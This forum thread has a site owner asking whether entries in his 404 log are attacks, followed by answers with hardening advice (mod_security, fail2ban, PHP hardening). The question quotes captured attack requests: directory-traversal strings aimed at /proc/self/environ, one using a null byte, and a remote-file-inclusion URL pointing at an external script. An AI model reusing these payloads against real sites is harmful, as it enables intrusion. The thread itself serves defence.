is this a hack attempt?
Looking through my 404 logs I noticed the following two URLs, both of which occurred once:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
and
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
The page in question, library.php
, requires a type
variable with a half-dozen different acceptable values, and then an id
variable. So a valid URL might be
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
and the ids are all run through mysql_real_escape_string
before being used to query the database.
I'm a rookie, but it seems to me that both of these links are simple attacks against the webroot?
1) How best to protect against these sorts of things besides a 404?
2) Should I permaban the IP(s) responsible?
EDIT: also just noticed this one
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: The offending IP for all 3 attacks was 216.97.231.15
which traces to an ISP called Lunar Pages located just outside of Los Angeles.
EDIT 3: I've decided to call the ISP Friday morning local time and discuss the issue with whoever I can get on the phone. I'll post the results here in 24 hours or so.
EDIT 4: I ended up emailing their admins and they responded first that "they were looking into it" and then a day later with "this issue should be resolved now." No further details, sadly.
Solution 1:
0) Yes. At the very least, it's a systematic probe against your site trying to discover if it's vulnerable.
1) Other than making sure that your code is clean, there's not a lot you can do but run your own tests against your host to make sure it's safe. Google Skipfish is one of the many tools to help you there.
2) I would.
Solution 2:
This is an attack, it is very much explained here.
Solution 3:
As said by others: yes, it is an hack attempt. Please be aware that in addition to this possibly hand-made attempt there are lots and lots of automated ones ran by botnets. Generally those kind of attacks are attempting to sneak through ages-old vulnerabilities and/or some typical coding flaws, such as failure to validate user input leading to SQL injection, system or file leakage, or similar.
Banning those botnets by hand is most likely impossible, since botnets can use up to thousands of unique IP addresses so if you want to ban them, you'll have to use some kind of automated ban program. fail2ban comes to my mind; make it to react to mod_security events or some other log entries.
If your code is clean and server hardened, those hack attempts are only annoying log pollution. But it's better to take precautionary steps and consider some or all of the following, depending on your needs:
mod_security is an Apache module filtering out all kinds of typical hacking attempts. It can also restrict outbound traffic (the page your server would be sending to a client) if it sees suspicious JavaScript etc.
Suhosin for hardening PHP itself.
Run your PHP scripts as a user who owns the script; things like suphp and php-fpm makes that possible.
Mount your webroot and PHP temporary directory as noexec,nosuid,nodev.
Disable unneeded PHP functions, such as system and passthru.
Disable unneeded PHP modules. For example, if you don't need IMAP support, do not enable it.
Keep your server up to date.
Keep your eye on logs.
Make sure you have backups.
Have a plan what to do if someone hacks you or some other disaster hits you.
That's a good start. Then there are even more extreme measures such as Snort and Prelude, but they can be very overkill for most setups.